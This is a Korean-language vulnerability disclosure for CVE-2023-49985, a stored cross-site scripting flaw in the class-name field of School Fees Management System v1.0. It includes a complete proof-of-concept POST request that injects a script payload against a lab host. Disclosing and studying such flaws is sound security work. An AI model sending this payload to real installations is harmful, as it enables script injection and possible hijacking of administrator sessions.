
학교 수업료 관리 시스템 v1.0 - "cname" 매개변수에서 "new_class"에 대한 크로스 사이트 스크립팅(XSS) 취약점
설명: School Fees Management System v1.0의 'new_class' 구성 요소에 있는 크로스 사이트 스크립팅(XSS) 취약점으로 인해 공격자가 cname 매개변수에 삽입된 조작된 페이로드를 통해 임의의 웹 스크립트나 HTML을 실행할 수 있습니다.
취약한 제품 버전: School Fees Management System v1.0
CVE 작성자: Geraldo Alcântara
날짜: 28/11/2023
확인일: 19/12/2023
CVE: CVE-2023-49985
테스트 환경: Windows
취약점을 악용하려면 적절한 권한을 가진 사용자가 "/ci_fms/admin/management/class" 페이지에 접근해야 합니다. 이 페이지에서 사용자는 기존 수업을 편집하거나 새 수업을 추가해야 합니다. 이 과정에서 "cname" 매개변수에 악성 페이로드를 삽입해야 합니다.
POST /ci_fms/admin/action/new_class HTTP/1.1
Host: 192.168.68.148
Content-Length: 273
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.68.148
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAbJT9XS9eFLU53MR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.68.148/ci_fms/admin/management/class
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: ci_session=gdoj5tr7rsf7ci5o9rpr0rh5eni2r6an
Connection: close
------WebKitFormBoundaryAbJT9XS9eFLU53MR
Content-Disposition: form-data; name="cname"
<script>alert(document.domain)</script>
------WebKitFormBoundaryAbJT9XS9eFLU53MR
Content-Disposition: form-data; name="cfees"
12,000
------WebKitFormBoundaryAbJT9XS9eFLU53MR--
발견자/크레딧:
Geraldo Alcântara